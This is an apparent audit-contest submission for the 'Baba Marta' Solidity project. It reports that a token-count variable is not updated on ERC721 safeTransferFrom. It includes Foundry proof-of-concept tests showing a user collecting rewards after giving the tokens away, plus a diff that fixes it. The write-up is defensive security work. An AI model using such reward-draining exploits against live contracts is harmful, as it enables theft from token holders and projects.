First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

`MartenitsaToken::countMartenitsaTokensOwner` does not accurately reflect the total number of tokens owned by a user.

0xlouistsai

Summary

MartenitsaToken::countMartenitsaTokensOwner fails to update correctly during every token transfer operation. Certain operations do not trigger the update, making the state variable ineffective.

Vulnerability Details

MartenitsaToken::countMartenitsaTokensOwner should record the token amount owned by a specific user, however, it is not updated in every token transfer operation. For example, the built-in safeTransferFrom function inherit from Oppenzeppelin ERC721 template does not include this operation. Assume Chasy has one Martenitsa token, thus the MartenitsaToken::countMartenitsaTokensOwner value of his account will be 1. However, he can send the token through safeTransferFrom to Bob, instead of using MartenitsaMarketplace::buyMartenitsa, in this case, the MartenitsaToken::countMartenitsaTokensOwner will not be updated correctly. Add the following proof-of-concept in MartenitsaToken.t.sol and run forge test —mt testcountMartenitsaTokensOwnerNotUpdated. The success indicates the value is not properly updated.

function testcountMartenitsaTokensOwnerNotUpdated() public createMartenitsa {
// Chasy owns ID 0 martenitsa token
address owner = martenitsaToken.ownerOf(0);
assertEq(owner, chasy);
​
// Chasy approve the token and transfer to Bob
vm.prank(chasy);
martenitsaToken.approve(address(marketplace), 0);
​
vm.prank(chasy);
martenitsaToken.safeTransferFrom(chasy, bob, 0);
​
// Chasy's balance is 0 now but CountMartenitsaTokensOwner value is 1
assertEq(martenitsaToken.ownerOf(0), bob);
assertEq(martenitsaToken.getCountMartenitsaTokensOwner(chasy), 1);
assertEq(martenitsaToken.getCountMartenitsaTokensOwner(bob), 0);
}

Impact

Consider the following scenario:

Bob originally has three Martenitsa token, but subsequently transferred to another user. After the operation, Bob can still collect health token as reward through MartenitsaMarketplace::collectReward although he has zero token balance. In this case, although the user has three tokens, but he/she is still unable to collect reward since the MartenitsaToken::countMartenitsaTokensOwner is not updated correctly.

function testcountMartenitsaTokensOwnerAndCollectReward() public {
// Chasy create 3 tokens
vm.startPrank(chasy);
martenitsaToken.createMartenitsa("A");
martenitsaToken.createMartenitsa("B");
martenitsaToken.createMartenitsa("C");
vm.stopPrank();
​
// Chasy transfer 3 tokens to Bob through makePresent
vm.startPrank(chasy);
martenitsaToken.approve(address(marketplace), 0);
martenitsaToken.approve(address(marketplace), 1);
martenitsaToken.approve(address(marketplace), 2);
vm.stopPrank();
​
vm.startPrank(chasy);
marketplace.makePresent(bob, 0);
marketplace.makePresent(bob, 1);
marketplace.makePresent(bob, 2);
vm.stopPrank();
​
address user = makeAddr("user");
​
// Bob transfer all the token to user through safeTransferFrom
vm.startPrank(bob);
martenitsaToken.approve(user, 0);
martenitsaToken.approve(user, 1);
martenitsaToken.approve(user, 2);
vm.stopPrank();
​
vm.startPrank(bob);
martenitsaToken.safeTransferFrom(bob, user, 0);
martenitsaToken.safeTransferFrom(bob, user, 1);
martenitsaToken.safeTransferFrom(bob, user, 2);
vm.stopPrank();
​
// Bob does not have any token but is still able to collect reward
vm.prank(bob);
marketplace.collectReward();
​
uint256 amount = healthToken.balanceOf(bob);
assertEq(amount, 10 ** 18);
​
}

Tools Used

Manual Review, Foundry Testing

Recommendations

Update all the token transfer function to include updateCountMartenitsaTokensOwner operation, or using balanceOf function instead of MartenitsaToken::countMartenitsaTokensOwner, for tracking user token balance. The following is an update example in MartenitsaMarketplace::collectReward:

function collectReward() external {
require(!martenitsaToken.isProducer(msg.sender), "You are producer and not eligible for a reward!");
- uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
+ uint256 count = martenitsaToken.balanceOf(msg.sender);
uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
if (amountRewards > 0) {
_collectedRewards[msg.sender] = amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

ERC721 `transferFrom` not overriden

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.